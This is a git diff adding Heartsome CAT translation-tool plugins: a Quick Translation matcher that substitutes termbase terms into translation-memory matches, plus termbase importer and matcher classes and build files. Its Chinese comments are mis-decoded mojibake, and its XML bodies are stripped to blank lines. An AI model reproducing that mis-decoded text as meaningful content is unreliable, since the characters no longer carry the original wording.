b/ts/net.heartsome.cat.ts.quicktranslation/images/quick_trans.png new file mode 100644 index 0000000..56c7007 Binary files /dev/null and b/ts/net.heartsome.cat.ts.quicktranslation/images/quick_trans.png differ diff --git a/ts/net.heartsome.cat.ts.quicktranslation/plugin.properties b/ts/net.heartsome.cat.ts.quicktranslation/plugin.properties new file mode 100644 index 0000000..164592f --- /dev/null +++ b/ts/net.heartsome.cat.ts.quicktranslation/plugin.properties @@ -0,0 +1,2 @@ +menu.executeQuickTrans = \u5feb\u901f\u7ffb\u8bd1 +command.executeQuickTrans = \u5feb\u901f\u7ffb\u8bd1 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.quicktranslation/plugin.xml b/ts/net.heartsome.cat.ts.quicktranslation/plugin.xml new file mode 100644 index 0000000..9b0f308 --- /dev/null +++ b/ts/net.heartsome.cat.ts.quicktranslation/plugin.xml @@ -0,0 +1,59 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.quicktranslation/plugin_en.properties b/ts/net.heartsome.cat.ts.quicktranslation/plugin_en.properties new file mode 100644 index 0000000..94a999d --- /dev/null +++ b/ts/net.heartsome.cat.ts.quicktranslation/plugin_en.properties @@ -0,0 +1,2 @@ +menu.executeQuickTrans = Quick Translation +command.executeQuickTrans = Quick Translation diff --git a/ts/net.heartsome.cat.ts.quicktranslation/plugin_zh.properties b/ts/net.heartsome.cat.ts.quicktranslation/plugin_zh.properties new file mode 100644 index 0000000..164592f --- /dev/null +++ b/ts/net.heartsome.cat.ts.quicktranslation/plugin_zh.properties @@ -0,0 +1,2 @@ +menu.executeQuickTrans = \u5feb\u901f\u7ffb\u8bd1 +command.executeQuickTrans = \u5feb\u901f\u7ffb\u8bd1 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.quicktranslation/src/net/heartsome/cat/ts/quicktranslation/QuickTranslationImpl.java b/ts/net.heartsome.cat.ts.quicktranslation/src/net/heartsome/cat/ts/quicktranslation/QuickTranslationImpl.java new file mode 100644 index 0000000..f2dfcf2 --- /dev/null +++ b/ts/net.heartsome.cat.ts.quicktranslation/src/net/heartsome/cat/ts/quicktranslation/QuickTranslationImpl.java @@ -0,0 +1,253 @@ +/** + * QuickTranslationImpl.java + * + * Version information : + * + * Date:2012-6-19 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.quicktranslation; + +import java.util.Collections; +import java.util.Comparator; +import java.util.Hashtable; +import java.util.Vector; + +import net.heartsome.cat.common.tm.MatchQuality; +import net.heartsome.cat.ts.core.bean.AltTransBean; +import net.heartsome.cat.ts.core.bean.Constants; +import net.heartsome.cat.ts.core.bean.TransUnitBean; +import net.heartsome.cat.ts.tb.match.TbMatcher; +import net.heartsome.cat.ts.tm.complexMatch.IComplexMatch; + +import org.eclipse.core.resources.IProject; +import org.slf4j.LoggerFactory; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class QuickTranslationImpl implements IComplexMatch { + private TbMatcher tbMatcher; + + /** + * + */ + public QuickTranslationImpl() { + tbMatcher = new TbMatcher(); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.ts.tm.complexMatch.AbstractComplexMatch#executeTranslation() + */ + public Vector executeTranslation(TransUnitBean transUnitBean, IProject currentProject) { + String tshelp = System.getProperties().getProperty("TSHelp"); + String tsstate = System.getProperties().getProperty("TSState"); + if (tshelp == null || !"true".equals(tshelp) || tsstate == null || !"true".equals(tsstate)) { + LoggerFactory.getLogger(QuickTranslationImpl.class).error( + "Exception:key hs008 is lost.(Can't find the key)"); + System.exit(0); + } + Vector result = new Vector(); + // 100%以上的记忆库匹é…ä¸åšå¿«è¯‘ + if (transUnitBean == null) { + return result; + } + Vector tmalt = transUnitBean.getMatchesByToolId(Constants.TM_TOOLID); + if (tmalt.size() < 1) { + return result; + } + AltTransBean tmMatches = tmalt.get(0); + + if (tmMatches == null) { + return result; + } + + String tmQuality = tmMatches.getMatchProps().get("match-quality"); + if (tmQuality.endsWith("%")) { + tmQuality = tmQuality.substring(0, tmQuality.length() - 1); + } + int tmQualityInt = Integer.parseInt(tmQuality); + if (tmQualityInt >= 100) { + return result; + } + + String srcLang = tmMatches.getSrcLang(); + String tgtLang = tmMatches.getTgtLang(); + + if (srcLang == null || srcLang.equals("")) { + return result; + } + if (tgtLang == null || tgtLang.equals("")) { + return result; + } + + String tmSrcText = tmMatches.getSrcText(); + if (tmSrcText == null || tmSrcText.equals("")) { + return result; + } + String tmTgtText = tmMatches.getTgtText(); + if (tmTgtText == null || tmTgtText.equals("")) { + return result; + } + String tuSrcText = transUnitBean.getSrcText(); + if (tuSrcText == null || tuSrcText.equals("")) { + return result; + } + + tbMatcher.setCurrentProject(currentProject); + // 获å–翻译å•æºæ–‡ä¸­çš„术语 + Vector> tuTerms = findTerms(tuSrcText, srcLang, tgtLang); + if (tuTerms.size() == 0) { + return result; + } + + // 获å–记忆库匹é…中的术语 + Vector> tmTerms = findTerms(tmSrcText, srcLang, tgtLang); + if (tmTerms.size() == 0) { + return result; + } + + int tuTermSize = tuTerms.size(); + int tmTermSize = tmTerms.size(); + if (tuTermSize > tmTermSize) { + int j = 0; + while (j < tuTermSize) { + Hashtable tempTuTerm = tuTerms.get(j); + String tmpTuSrcWord = tempTuTerm.get(CON_SRCWORD); + for (Hashtable tempTmTerm : tmTerms) { + if (tempTmTerm.get(CON_SRCWORD).equals(tmpTuSrcWord)) { + tuTerms.remove(j); + tmTerms.remove(tempTmTerm); + break; + } + } + tuTermSize = tuTerms.size(); + j++; + } + } else { + int j = 0; + while (j < tmTermSize) { + Hashtable tempTmTerm = tmTerms.get(j); + String tmpTmSrcWord = tempTmTerm.get(CON_SRCWORD); + for (Hashtable tempTuTerm : tuTerms) { + if (tempTuTerm.get(CON_SRCWORD).equals(tmpTmSrcWord)) { + tmTerms.remove(j); + tuTerms.remove(tempTuTerm); + break; + } + } + tmTermSize = tmTerms.size(); + j++; + } + } + tuTermSize = tuTerms.size(); + tmTermSize = tmTerms.size(); + if (tuTermSize == 0 || tmTermSize == 0) { + return result; + } + int replaceSize = tuTermSize < tmTermSize ? tuTermSize : tmTermSize; + for (int i = 0; i < replaceSize; i++) { + Hashtable tmTerm = tmTerms.get(i); + String tmTermSrc = tmTerm.get(CON_SRCWORD); + String tmTermTgt = tmTerm.get(CON_TGTWORD); + + Hashtable tuTerm = tuTerms.get(i); + String tuTermSrc = tuTerm.get(CON_SRCWORD); + String tuTermTgt = tuTerm.get(CON_TGTWORD); + + tmSrcText = tmSrcText.replace(tmTermSrc, tuTermSrc); + tmTgtText = tmTgtText.replace(tmTermTgt, tuTermTgt); + } + int quality = MatchQuality.similarity(tuSrcText, tmSrcText); + AltTransBean bean = new AltTransBean(tmSrcText, tmTgtText, srcLang, tgtLang, getMathcerOrigin(), getToolId()); + bean.getMatchProps().put("match-quality", quality + ""); + bean.setSrcContent(tmSrcText); + bean.setTgtContent(tmTgtText); + bean.getMatchProps().put("hs:matchType", getMatcherType()); + result.add(bean); + return result; + } + + private Vector> findTerms(String srcText, String srcLang, String tgtLang) { + Vector> terms = new Vector>(); + terms = tbMatcher.serachTransUnitTerms(srcText, srcLang, tgtLang, true); + + // æ ¹æ®æœ¯è¯­çš„长度å‡åºæŽ’列 + Collections.sort(terms, new TermComparatorByLength()); + + // 处ç†æŸ¥è¯¢ç»“æžœ--剔除é‡å¤(å–最长的术语组),åŒæ—¶æŒ‰æœ¯è¯­åœ¨å¥å­ä¸­å‡ºçŽ°çš„å…ˆåŽè¿›è¡ŒæŽ’åºé¡ºåº + for (int i = 0; i < terms.size(); i++) { + Hashtable termA = terms.get(i); + String srcWordA = termA.get(CON_SRCWORD); + for (int j = i + 1; j < terms.size(); j++) { + Hashtable termB = terms.get(j); + String srcWordB = termB.get(CON_SRCWORD); + if (srcWordA.toLowerCase().indexOf(srcWordB.toLowerCase()) != -1) { + terms.remove(j); + j--; + } + } + } + + // æ ¹æ®æœ¯è¯­åœ¨srcText中出现的顺åºæŽ’åº + Collections.sort(terms, new TermComparatorByIndex(srcText)); + return terms; + } + + /** + * æ ¹æ®æœ¯è¯­çš„长度进行å‡åºæŽ’åº + */ + final class TermComparatorByLength implements Comparator> { + + public TermComparatorByLength() { + + } + + public int compare(Hashtable a, Hashtable b) { + Integer a1 = a.get(CON_SRCWORD).length(); + Integer b1 = b.get(CON_SRCWORD).length(); + return b1 - a1; + } + } + + /** + * æ ¹æ®æœ¯è¯­åœ¨å½“å‰æ–‡æœ¬æ®µä¸­çš„出现的顺åºå¯¹æœ¯è¯­åˆ—è¡¨è¿›è¡ŒæŽ’åº + */ + final class TermComparatorByIndex implements Comparator> { + private String srcText; + + public TermComparatorByIndex(String srcText) { + this.srcText = srcText; + } + + public int compare(Hashtable a, Hashtable b) { + Integer a1 = srcText.indexOf(a.get(CON_SRCWORD)); + Integer b1 = srcText.indexOf(b.get(CON_SRCWORD)); + return a1 - b1; + } + } + + /** å¿«é€Ÿç¿»è¯‘ä¸­ä½¿ç”¨çš„å¸¸é‡ */ + public static final String CON_SRCWORD = "srcWord"; + public static final String CON_TGTWORD = "tgtWord"; + + public String getToolId() { + return "Quick Translation"; + } + + public String getMatcherType() { + return "QT"; + } + + public String getMathcerOrigin() { + return "Heartsome Quick Translation"; + } + +} diff --git a/ts/net.heartsome.cat.ts.quicktranslation/src/net/heartsome/cat/ts/quicktranslation/handler/ExecuteQuickTranslation.java b/ts/net.heartsome.cat.ts.quicktranslation/src/net/heartsome/cat/ts/quicktranslation/handler/ExecuteQuickTranslation.java new file mode 100644 index 0000000..0984d77 --- /dev/null +++ b/ts/net.heartsome.cat.ts.quicktranslation/src/net/heartsome/cat/ts/quicktranslation/handler/ExecuteQuickTranslation.java @@ -0,0 +1,122 @@ +/** + * ExecuteQuickTranslation.java + * + * Version information : + * + * Date:2012-6-20 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.quicktranslation.handler; + +import net.heartsome.cat.ts.quicktranslation.QuickTranslationImpl; +import net.heartsome.cat.ts.tm.complexMatch.IComplexMatch; +import net.heartsome.cat.ts.ui.bean.TranslateParameter; +import net.heartsome.cat.ts.ui.editors.IXliffEditor; +import net.heartsome.cat.ts.ui.translation.view.MatchViewPart; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 针对选中的文本段执行快速翻译算法 + * @author jason + * @version + * @since JDK1.6 + */ +public class ExecuteQuickTranslation extends AbstractHandler { + + /** (non-Javadoc) + * @see org.eclipse.core.commands.IHandler#execute(org.eclipse.core.commands.ExecutionEvent) + */ + public Object execute(ExecutionEvent event) throws ExecutionException { + if(TranslateParameter.getInstance().isAutoQuickTrans()){ + return null; + } + final IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindow(event); + final IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (!(editor instanceof IXliffEditor)) { + return null; + } + final IXliffEditor xliffEditor = (IXliffEditor) editor; + + final int[] selectedRowIndexs = xliffEditor.getSelectedRows(); + if(selectedRowIndexs.length == 0){ + return null; + } +// TransUnitBean transUnitBean = xliffEditor.getRowTransUnitBean(selectedRowIndexs[selectedRowIndexs.length - 1]); + IComplexMatch matcher = new QuickTranslationImpl(); +// FileEditorInput input = (FileEditorInput) editor.getEditorInput(); +// IProject project = input.getFile().getProject(); +// List newAltTrans = matcher.executeTranslation(transUnitBean, project); +// if(newAltTrans.size() == 0){ +// return null; +// } + + IViewPart viewPart = window.getActivePage().findView(MatchViewPart.ID); + if(viewPart != null && viewPart instanceof MatchViewPart){ + MatchViewPart matchView = (MatchViewPart) viewPart; + matchView.manualExecComplexTranslation(matcher); +// matchView.replaceMatchs(newAltTrans); +// matchView.refreshView(xliffEditor, selectedRowIndexs[selectedRowIndexs.length - 1]); + } + +// IRunnableWithProgress runnable = new IRunnableWithProgress() { +// public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { +// monitor.beginTask(Messages.getString("handler.ExecuteQuickTranslation.task1"), selectedRowIndexs.length); +// IComplexMatch matcher = new QuickTranslationImpl(); +// +// FileEditorInput input = (FileEditorInput) editor.getEditorInput(); +// IProject project = input.getFile().getProject(); +// +// List oldToolIds = new ArrayList(); +// oldToolIds.add(matcher.getToolId()); +// Map> newAltTransMap = new HashMap>(); +// Map> oldAltTransToolIdMap = new HashMap>(); +// for(int selectedRowindex : selectedRowIndexs){ +// TransUnitBean transUnitBean = xliffEditor.getRowTransUnitBean(selectedRowindex); +// List newAltTrans = matcher.executeTranslation(transUnitBean, project); +// if(newAltTrans.size() == 0){ +// continue; +// } +// newAltTransMap.put(selectedRowindex, newAltTrans); +// oldAltTransToolIdMap.put(selectedRowindex, oldToolIds); +// monitor.worked(1); +// } +// if(newAltTransMap.size() != 0){ +// xliffEditor.getXLFHandler().batchUpdateAltTrans(selectedRowIndexs, newAltTransMap, oldAltTransToolIdMap); +// +// window.getShell().getDisplay().asyncExec(new Runnable() { +// @Override +// public void run() { +// IViewPart viewPart = window.getActivePage().findView(MatchViewPart.ID); +// if(viewPart != null && viewPart instanceof MatchViewPart && selectedRowIndexs.length != 0){ +// MatchViewPart matchView = (MatchViewPart) viewPart; +// matchView.refreshView(xliffEditor, selectedRowIndexs[selectedRowIndexs.length - 1]); +// } +// } +// }); +// } +// monitor.done(); +// } +// }; + +// try { +// new ProgressMonitorDialog(window.getShell()).run(true, false, runnable); +// } catch (InvocationTargetException e) { +// e.printStackTrace(); +// } catch (InterruptedException e) { +// e.printStackTrace(); +// } + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.quicktranslation/src/net/heartsome/cat/ts/quicktranslation/resource/Messages.java b/ts/net.heartsome.cat.ts.quicktranslation/src/net/heartsome/cat/ts/quicktranslation/resource/Messages.java new file mode 100644 index 0000000..19776c2 --- /dev/null +++ b/ts/net.heartsome.cat.ts.quicktranslation/src/net/heartsome/cat/ts/quicktranslation/resource/Messages.java @@ -0,0 +1,25 @@ +package net.heartsome.cat.ts.quicktranslation.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public class Messages { + + private static final String BUNDLE_NAME = "net.heartsome.cat.ts.quicktranslation.resource.message"; + + private static ResourceBundle BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + public static String getString(String key) { + try { + return BUNDLE.getString(key); + } catch (MissingResourceException e) { + return key; + } + } +} diff --git a/ts/net.heartsome.cat.ts.quicktranslation/src/net/heartsome/cat/ts/quicktranslation/resource/message.properties b/ts/net.heartsome.cat.ts.quicktranslation/src/net/heartsome/cat/ts/quicktranslation/resource/message.properties new file mode 100644 index 0000000..e428e18 --- /dev/null +++ b/ts/net.heartsome.cat.ts.quicktranslation/src/net/heartsome/cat/ts/quicktranslation/resource/message.properties @@ -0,0 +1 @@ +handler.ExecuteQuickTranslation.task1 = \u6b63\u5728\u6267\u884c\u5feb\u901f\u7ffb\u8bd1... \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.quicktranslation/src/net/heartsome/cat/ts/quicktranslation/resource/message_en.properties b/ts/net.heartsome.cat.ts.quicktranslation/src/net/heartsome/cat/ts/quicktranslation/resource/message_en.properties new file mode 100644 index 0000000..b9b8e3b --- /dev/null +++ b/ts/net.heartsome.cat.ts.quicktranslation/src/net/heartsome/cat/ts/quicktranslation/resource/message_en.properties @@ -0,0 +1 @@ +handler.ExecuteQuickTranslation.task1 = Running Quick Translation... diff --git a/ts/net.heartsome.cat.ts.quicktranslation/src/net/heartsome/cat/ts/quicktranslation/resource/message_zh.properties b/ts/net.heartsome.cat.ts.quicktranslation/src/net/heartsome/cat/ts/quicktranslation/resource/message_zh.properties new file mode 100644 index 0000000..e428e18 --- /dev/null +++ b/ts/net.heartsome.cat.ts.quicktranslation/src/net/heartsome/cat/ts/quicktranslation/resource/message_zh.properties @@ -0,0 +1 @@ +handler.ExecuteQuickTranslation.task1 = \u6b63\u5728\u6267\u884c\u5feb\u901f\u7ffb\u8bd1... \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.tb/.classpath b/ts/net.heartsome.cat.ts.tb/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/ts/net.heartsome.cat.ts.tb/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/ts/net.heartsome.cat.ts.tb/.project b/ts/net.heartsome.cat.ts.tb/.project new file mode 100644 index 0000000..9ce71bb --- /dev/null +++ b/ts/net.heartsome.cat.ts.tb/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.ts.tb + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/ts/net.heartsome.cat.ts.tb/.settings/org.eclipse.jdt.core.prefs b/ts/net.heartsome.cat.ts.tb/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/ts/net.heartsome.cat.ts.tb/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/ts/net.heartsome.cat.ts.tb/META-INF/MANIFEST.MF b/ts/net.heartsome.cat.ts.tb/META-INF/MANIFEST.MF new file mode 100644 index 0000000..4d7e0a8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.tb/META-INF/MANIFEST.MF @@ -0,0 +1,14 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT TS TermBase +Bundle-SymbolicName: net.heartsome.cat.ts.tb;singleton:=true +Bundle-Version: 8.0.0.R8b_v20121203 +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Require-Bundle: org.eclipse.core.resources;bundle-version="3.7.100", + net.heartsome.cat.thirdpartlibrary;bundle-version="1.0.0", + org.eclipse.core.runtime;bundle-version="3.7.0" +Export-Package: net.heartsome.cat.ts.tb.importer, + net.heartsome.cat.ts.tb.importer.extension, + net.heartsome.cat.ts.tb.match, + net.heartsome.cat.ts.tb.match.extension +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/ts/net.heartsome.cat.ts.tb/build.properties b/ts/net.heartsome.cat.ts.tb/build.properties new file mode 100644 index 0000000..3d95d6c --- /dev/null +++ b/ts/net.heartsome.cat.ts.tb/build.properties @@ -0,0 +1,7 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + plugin.xml,\ + schema/ diff --git a/ts/net.heartsome.cat.ts.tb/plugin.xml b/ts/net.heartsome.cat.ts.tb/plugin.xml new file mode 100644 index 0000000..8f45cc4 --- /dev/null +++ b/ts/net.heartsome.cat.ts.tb/plugin.xml @@ -0,0 +1,7 @@ + + + + + + + diff --git a/ts/net.heartsome.cat.ts.tb/schema/net.heartsome.cat.ts.tb.importer.extension.exsd b/ts/net.heartsome.cat.ts.tb/schema/net.heartsome.cat.ts.tb.importer.extension.exsd new file mode 100644 index 0000000..40b6b64 --- /dev/null +++ b/ts/net.heartsome.cat.ts.tb/schema/net.heartsome.cat.ts.tb.importer.extension.exsd @@ -0,0 +1,102 @@ + + + + + + + + + [Enter description of this extension point.] + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + [Enter the first release in which this extension point appears.] + + + + + + + + + [Enter extension point usage example here.] + + + + + + + + + [Enter API information here.] + + + + + + + + + [Enter information about supplied implementation of this extension point.] + + + + + diff --git a/ts/net.heartsome.cat.ts.tb/schema/net.heartsome.cat.ts.tb.match.extension.exsd b/ts/net.heartsome.cat.ts.tb/schema/net.heartsome.cat.ts.tb.match.extension.exsd new file mode 100644 index 0000000..4a41454 --- /dev/null +++ b/ts/net.heartsome.cat.ts.tb/schema/net.heartsome.cat.ts.tb.match.extension.exsd @@ -0,0 +1,102 @@ + + + + + + + + + [Enter description of this extension point.] + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + [Enter the first release in which this extension point appears.] + + + + + + + + + [Enter extension point usage example here.] + + + + + + + + + [Enter API information here.] + + + + + + + + + [Enter information about supplied implementation of this extension point.] + + + + + diff --git a/ts/net.heartsome.cat.ts.tb/src/net/heartsome/cat/ts/tb/importer/TbImporter.java b/ts/net.heartsome.cat.ts.tb/src/net/heartsome/cat/ts/tb/importer/TbImporter.java new file mode 100644 index 0000000..6f5cbb8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.tb/src/net/heartsome/cat/ts/tb/importer/TbImporter.java @@ -0,0 +1,109 @@ +/** + * TBImporter.java + * + * Version information : + * + * Date:2012-5-7 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.tb.importer; + +import net.heartsome.cat.ts.tb.importer.extension.ITbImporter; +import net.heartsome.cat.ts.tb.resource.Messages; + +import org.eclipse.core.resources.IProject; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IConfigurationElement; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.ISafeRunnable; +import org.eclipse.core.runtime.Platform; +import org.eclipse.core.runtime.SafeRunner; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class TbImporter { + private static Logger logger = LoggerFactory.getLogger(TbImporter.class); + private final String TERMIMPORT_EXTENSION_ID = "net.heartsome.cat.ts.tb.importer.extension"; + private ITbImporter tbImporter; + + private static TbImporter instance; + public static TbImporter getInstance(){ + if(instance == null){ + instance = new TbImporter(); + } + return instance; + } + + private TbImporter(){ + runExtension(); + } + + public boolean checkImporter(){ + if(tbImporter == null){ + return false; + } + return tbImporter.checkImporter(); + } + + /** + * 释放当å‰å¯¼å…¥å™¨çš„èµ„æº + * ; + */ + public void clearResources(){ + instance = null; + if(tbImporter != null){ + tbImporter.clearResources(); + } + } + + + public void setProject(IProject project){ + if(tbImporter != null){ + tbImporter.setProject(project); + } + } + + public int executeImport(String tbxStr, String srcLang,IProgressMonitor monitor){ + if(tbImporter != null){ + return tbImporter.executeImport(tbxStr, srcLang, monitor); + } + return ITbImporter.IMPORT_STATE_FAILED; + } + + /** + * 加载记忆库匹é…实现 ; + */ + private void runExtension() { + IConfigurationElement[] config = Platform.getExtensionRegistry().getConfigurationElementsFor( + TERMIMPORT_EXTENSION_ID); + try { + for (IConfigurationElement e : config) { + final Object o = e.createExecutableExtension("class"); + if (o instanceof ITbImporter) { + ISafeRunnable runnable = new ISafeRunnable() { + + public void handleException(Throwable exception) { + logger.error(Messages.getString("importer.TbImporter.logger1"), exception); + } + + public void run() throws Exception { + tbImporter = (ITbImporter) o; + } + }; + SafeRunner.run(runnable); + } + } + } catch (CoreException ex) { + logger.error(Messages.getString("importer.TbImporter.logger1"), ex); + } + } +} diff --git a/ts/net.heartsome.cat.ts.tb/src/net/heartsome/cat/ts/tb/importer/extension/ITbImporter.java b/ts/net.heartsome.cat.ts.tb/src/net/heartsome/cat/ts/tb/importer/extension/ITbImporter.java new file mode 100644 index 0000000..d55962a --- /dev/null +++ b/ts/net.heartsome.cat.ts.tb/src/net/heartsome/cat/ts/tb/importer/extension/ITbImporter.java @@ -0,0 +1,64 @@ +/** + * ITbImporter.java + * + * Version information : + * + * Date:2012-5-7 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.tb.importer.extension; + +import org.eclipse.core.resources.IProject; +import org.eclipse.core.runtime.IProgressMonitor; + +/** + * 将符åˆTBX标准的字符串导入到术语库中 + * @author jason + * @version + * @since JDK1.6 + */ +public interface ITbImporter { + + /** 导入æˆåŠŸ */ + int IMPORT_STATE_SUCCESSED = 0; + + /** 导入失败 */ + int IMPORT_STATE_FAILED = 1; + + /** 当å‰æ— å¯ç”¨çš„库 */ + int IMPORT_STATE_NODB = 2; + + /** + * 设置当å‰é¡¹ç›®ï¼Œç”¨äºŽèŽ·å–项目é…ç½®ä¿¡æ¯ + * @param project + * ; + */ + void setProject(IProject project); + + /** + * 执行导入 + * @param tbxStr + * 符åˆTBX标准的字符串 + * @param srcLang + * TBXæºè¯­è¨€ + * @return 导入标志(æˆåŠŸï¼Œå¤±è´¥...); + */ + int executeImport(String tbxStr, String srcLang,IProgressMonitor monitor); + + /** + * 检查导入器是å¦å¯ç”¨ï¼Œä¸»è¦é’ˆå¯¹å½“å‰ç³»ç»Ÿæ˜¯å¦æœ‰åº“相关æ’件或者是å¦è®¾ç½®äº†é»˜è®¤åº“ + * @return ; + */ + boolean checkImporter(); + + /** + * é‡Šæ”¾æ‰€ä½¿ç”¨çš„èµ„æº + * ; + */ + void clearResources(); + +} diff --git a/ts/net.heartsome.cat.ts.tb/src/net/heartsome/cat/ts/tb/match/TbMatcher.java b/ts/net.heartsome.cat.ts.tb/src/net/heartsome/cat/ts/tb/match/TbMatcher.java new file mode 100644 index 0000000..89462aa --- /dev/null +++ b/ts/net.heartsome.cat.ts.tb/src/net/heartsome/cat/ts/tb/match/TbMatcher.java @@ -0,0 +1,115 @@ +/** + * TermMatcher.java + * + * Version information : + * + * Date:2012-5-2 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ 